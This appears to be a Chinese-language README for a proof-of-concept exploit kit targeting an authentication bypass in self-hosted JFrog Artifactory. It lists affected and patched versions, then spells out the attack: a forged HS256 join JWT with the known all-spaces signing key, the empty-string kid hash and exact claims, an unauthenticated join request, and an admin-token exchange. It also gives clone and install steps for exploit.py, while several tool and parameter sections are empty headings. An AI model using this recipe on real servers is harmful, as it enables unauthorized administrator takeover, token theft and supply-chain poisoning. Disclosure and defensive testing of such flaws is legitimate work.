CVE‑2026‑82329 – JFrog Artifactory 认证绕过工具包

仅限道德用途 – 授权安全测试
本仓库仅为授权安全专业人员、蓝队和渗透测试人员提供工具。
未经授权访问计算机系统在美国 CFAA、英国《计算机滥用法》、土耳其 TCK 243/244 以及全球类似法律下均属违法行为。

📖 漏洞概述

CVE‑2026‑82329 是自托管 JFrog Artifactory（版本 7.111.x 至 7.161.x）中的一个严重认证绕过漏洞，允许未经身份验证的攻击者通过滥用 JFrog Access 集群加入机制获取完整的平台管理员令牌。

工作原理

1. 空白加入密钥信任 – JFrog Access 信任一个值为空字符串的幽灵加入密钥。因此其签名密钥为确定性值 32 * 0x20（空格）。
2. 伪造加入 JWT – 攻击者使用此已知密钥和 kid = SHA256("") 伪造一个 HS256 JWT。
3. 签发 SERVICE 令牌 – POST /access/api/v1/registry/join 在无需任何认证的情况下返回带有 scp=admin 的 SERVICE 令牌。
4. 管理员令牌交换 – 使用 scope=applied-permissions/admin&audience=* 调用 POST /access/api/v1/tokens 可获取完整的平台管理员令牌。
5. 影响 – 完全接管仓库、窃取令牌、创建管理员用户、污染制品、供应链攻击，以及横向移动到连接的服务（Xray、Mission Control、Distribution）。请立即升级！

受影响版本

• 7.111.4 – 7.111.20 – 存在漏洞
• 7.117.0 – 7.117.27 – 存在漏洞
• 7.125.0 – 7.125.19 – 存在漏洞
• 7.133.0 – 7.133.28 – 存在漏洞
• 7.146.0 – 7.146.36 – 存在漏洞
• 7.161.0 – 7.161.19 – 存在漏洞

补丁

• 升级到 7.111.21、7.117.28、7.125.20、7.133.29、7.146.38 或 7.161.20 或更新版本。
• 如果无法升级，请限制对 Artifactory 的网络访问（切勿将其暴露到互联网），并轮换所有管理员令牌作为临时缓解措施。

🧰 工具

📊 功能对比

🎯 使用场景摘要

⚙️ 安装

git clone https://github.com/tc4dy/CVE-2026-82329-PoC-Exploit
cd CVE-2026-82329-PoC-Exploit
pip install -r requirements.txt

requirements.txt

requests
urllib3
curl_cffi

📋 参数

exploit.py 参数

safechecker.py 参数

💥 场景

🧪 端点与利用链

该漏洞利用使用以下 JFrog 端点和利用步骤：

有效载荷格式

# 伪造加入 JWT 结构
{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "iat": <unix_timestamp>,
  "service_id": "jfrt@01",
  "kid": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
  "skip_node_registration": true
}

# 签名密钥
secret = b"\x20" * 32

# 管理员令牌请求
scope=applied-permissions/admin&audience=*&expires_in=0&refreshable=false

🛡️ 负责任使用

• 仅在您拥有或已获得明确书面测试许可的系统上使用这些工具。
• 未经授权的访问是非法的且不道德的。
• 作者对任何滥用行为不承担责任。
• 请始终遵守您所在国家的法律法规。

本软件仅供教育目的和授权安全测试使用。